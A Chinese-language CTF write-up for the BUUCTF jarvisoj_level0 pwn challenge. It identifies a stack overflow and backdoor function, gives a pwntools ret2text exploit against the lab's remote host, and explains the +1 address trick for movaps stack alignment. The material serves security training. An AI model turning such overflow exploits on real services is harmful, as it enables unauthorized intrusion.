BUUCTF jarvisoj_level0 1

目录

一、分析

查看文件信息

关键信息

  • 64位程序
  • 栈不可执行

IDA64反汇编

进入第一个函数

栈溢出
shift + F12查找字符串

点进去

发现是一个后门函数

二、EXP

csharp 复制代码
from pwn import *

context.arch = 'amd64'
# p = process("/tmp/pwn/level0")
p = remote("node4.buuoj.cn",28644)
elf = ELF("/tmp/pwn/level0")
callsystem = elf.symbols['callsystem']
p.sendline(flat([b"a"*128, 'a'*8, callsystem]))

p.interactive()

三、本地打不通?远程能打通?

修改代码处

csharp 复制代码
p.sendline(flat([b"a"*128, 'a'*8, callsystem + 1]))

为什么地址地址 + 1就可以执行了呢?

👉参考该文章

64位ubuntu18以上系统调用system函数时是需要栈对齐的。再具体一点就是64位下system函数有个movaps指令,这个指令要求内存地址必须16字节对齐

跳过了push rbp之后,rsp就少压栈了8字节,此时栈16位对齐

相关推荐
云栖梦泽在1 天前
稳如狗网络工具箱:IP、DNS、WebRTC、测速、连通性和全球延迟检测工具简明介绍
网络·网络协议·tcp/ip·网络安全·性能优化·webrtc
print_Hyon1 天前
【CTF-WEB-sql注入】使用随波逐流WEB安全工具进行SQLMAP注入
ctf
倚栏听雨_ylty1 天前
H3C交换机关闭Telnet和HTTP服务实例
运维·网络·tcp/ip·网络安全
白猫不黑1 天前
SQL注入实战:手工注入全流程详解
网络·数据库·sql·web安全·网络安全·信息安全
是三一seven2 天前
Sql注入基础
数据库·安全·网络安全
学逆向的3 天前
汇编——JCC指令
开发语言·汇编·网络安全
腾霄星月3 天前
Cobalt Strike(CS)内网渗透工具核心重点知识总结
网络安全·cs·cobalt strike
print_Hyon3 天前
【CTF-WEB-反序列化】通过构造反序列化 POP 链,触发文件写入函数,绕过代码中自带的exit()安全头部,写入可执行的 PHP 后门
ctf
print_Hyon3 天前
【CTF-MISC-压缩包】零宽字符+OpnenPuff+bkcrack破解层层文件加密
ctf
Sagittarius_A*3 天前
【RCELABS】Level 1~4 —— 基础篇
靶场·php·ctf·代码审计·rce